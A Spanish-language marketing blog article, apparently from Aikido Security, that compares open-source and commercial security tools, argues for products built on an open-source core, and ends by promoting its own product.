Como todo en seguridad, hay más cosas que desentrañar en la realidad. En este artículo quiero explorar cuándo deben utilizarse herramientas de seguridad de código abierto, cuándo son más eficaces las herramientas comerciales y si podemos confiar en las herramientas creadas a partir de un núcleo de código abierto.

Construir frente a comprar (la trampa del coste del código abierto)

A medida que crezca su empresa, pronto se dará cuenta de que la elección entre código abierto y comercial es más una elección entre la creación de herramientas o la compra de herramientas. El código abierto proporciona un gran punto de partida, pero carecen de muchas de las características que necesita, cuadros de mando, integraciones, informes de cumplimiento, flujos de trabajo de remediación, filtrado de falsos positivos y priorización de vulnerabilidades, por nombrar algunos. Así que la idea de que el código abierto es gratuito simplemente no es cierta. Sin embargo, esto puede ser una ventaja, ya que la construcción a medida que avanza reduce la inversión inicial y puede centrarse en las características que son importantes para usted. Significa que no dependes de un proveedor para entregar la característica que "prometieron" que entregarían en el tercer trimestre hace 2 años.

Hay muchos aspectos negativos a tener en cuenta cuando se construye sobre herramientas de código abierto. En primer lugar, no sólo llevará un tiempo de desarrollo significativo crear estas herramientas, sino que también requerirá un mantenimiento continuo. Las herramientas de seguridad también pueden bloquear la producción cuando se integran en elementos como, por ejemplo, las canalizaciones CI/CD. Esto significa que cuando fallan o se bloquean, pueden causar pérdidas de productividad sin ningún tipo de soporte que le ayude a volver a estar en línea.

¿Y la opción de compra? En primer lugar, no hay periodo de adaptación, se obtiene una cobertura completa desde el principio, lo que se traduce en una menor deuda de seguridad más adelante. Tampoco se pierde el coste de oportunidad de apartar a los equipos de ingeniería de sus objetivos principales para que se centren en crear funciones para herramientas internas. En el vertiginoso mundo de las startups, no subestimes el valor de esto.

Código abierto frente a comercial

¿Son mejores las herramientas comerciales para descubrir vulnerabilidades?

Hasta ahora hemos hablado de todas las características de la herramienta sin plantearnos posiblemente una de las preguntas más importantes. ¿Qué encontrará más vulnerabilidades? En términos generales, la funcionalidad básica de las herramientas de código abierto suele igualar a la de sus homólogas comerciales en su capacidad para encontrar vulnerabilidades. Sin embargo, donde las herramientas comerciales sacan ventaja es en su capacidad para filtrar los falsos positivos y priorizar sus hallazgos.

A menudo se trata de herramientas comerciales creadas a partir de proyectos de código abierto. Por ejemplo, tomemos Zen by Aikido, un completo cortafuegos integrado en la aplicación diseñado para detener amenazas en tiempo de ejecución. ¿Es mejor para detectar amenazas en tiempo de ejecución y detenerlas que un equivalente de código abierto? En realidad no, porque se basa en un proyecto de código abierto, AikidoZen. El valor de la versión para empresas reside en sus funciones adicionales, como el análisis, la creación de reglas, la comprensión más profunda de las amenazas específicas y la facilidad de despliegue, todas ellas cosas que tendrías que crear tú mismo si utilizaras la versión de código abierto en una empresa. Así que el código abierto no es necesariamente peor, sólo le falta la siguiente etapa de triaje.

Nota: Comparar las herramientas con las vulnerabilidades encontradas también puede ser muy complicado. Una gran herramienta de seguridad puede encontrar menos vulnerabilidades porque es mejor eliminando falsos positivos basados en el contexto. Por lo tanto, la mejor herramienta no es siempre la que encuentra más vulnerabilidades, sino más bien lo contrario.

Código abierto para empresas

Así que el código abierto supone demasiado desarrollo y el comercial es demasiado caro, ¿qué tal un término medio? Las herramientas completas que utilizan código abierto en su núcleo no son un concepto nuevo. Algunos de los productos de seguridad más exitosos del mundo utilizan código abierto en su núcleo, como Hashicorp Vault, Elastic Security y Metaploit, por nombrar algunos. Hay muchas razones por las que estas herramientas funcionan tan bien y probablemente no es por las razones que usted piensa.

Relación coste-eficacia

Las herramientas de código abierto no sólo tienen que competir con herramientas comerciales alternativas, sino también con su base de código abierto. Esto significa que su valor debe ser probado y transparente, lo que a menudo se traduce en una oferta más rentable.

El poder de la comunidad

A menudo, las herramientas de código abierto son mantenidas y construidas por empresas comerciales, como Aikido Zen. Las herramientas que se basan en código abierto no sólo lo hacen para reducir el tiempo de desarrollo, sino también porque los fundadores creen fundamentalmente en el poder del código abierto. Las herramientas de código abierto suelen ser más rápidas a la hora de crear funcionalidades porque tienen una comunidad detrás, también significa que si tienes un problema específico y de nicho puedes introducirlo tú mismo en la herramienta.

Transparencia

A menudo, comprar herramientas comerciales puede ser un poco como comprar un coche sin ver su motor. ¿Es fiable a largo plazo? Es más fácil ocultar los puntos débiles cuando no se puede ver el motor. Las herramientas de código abierto no pueden ocultar su motor, por lo que es más fácil confiar en la propia herramienta.

Características comerciales

Como ya se ha dicho, dado que una herramienta de código abierto compite a menudo tanto con alternativas comerciales como con herramientas de código abierto, tiene que estar orgullosa de sus características adicionales. Esto significa todo lo que se espera de una herramienta comercial, pero a menudo bastante más. Como el producto se beneficia de una base de código abierto bien definida, se puede prestar atención a las mejoras que, en última instancia, se trasladan al usuario final.

Entonces, ¿qué elijo (reflexiones finales)?

Hemos hablado de las ventajas de las herramientas de seguridad de código abierto, comerciales y de código abierto. Creo que queda claro por mi tono que, como autor, me encanta la comunidad de código abierto y creo que las herramientas impulsadas por código abierto son un compromiso en cuanto al precio sin un compromiso en cuanto a las características. Por supuesto, es una idiotez decir que no hay razón para que en algunos escenarios una versión puramente comercial sea mejor. Hay grandes soluciones innovadoras que son totalmente de código cerrado. Pero lo que quiero decir es que el hecho de que algo se base en un proyecto de código abierto no significa que vaya a comprometer su capacidad o sus características. Y como tiene que demostrar su valor con total transparencia, a menudo ofrece características y valor más profundos.

Aikido security fue creado por desarrolladores para desarrolladores con el fin de ayudar a conseguir seguridad. Estamos orgullosos de nuestra herencia de código abierto y nos encantaría que vinieras a verlo en acción por ti mismo.

Empiece gratis con Aikido Security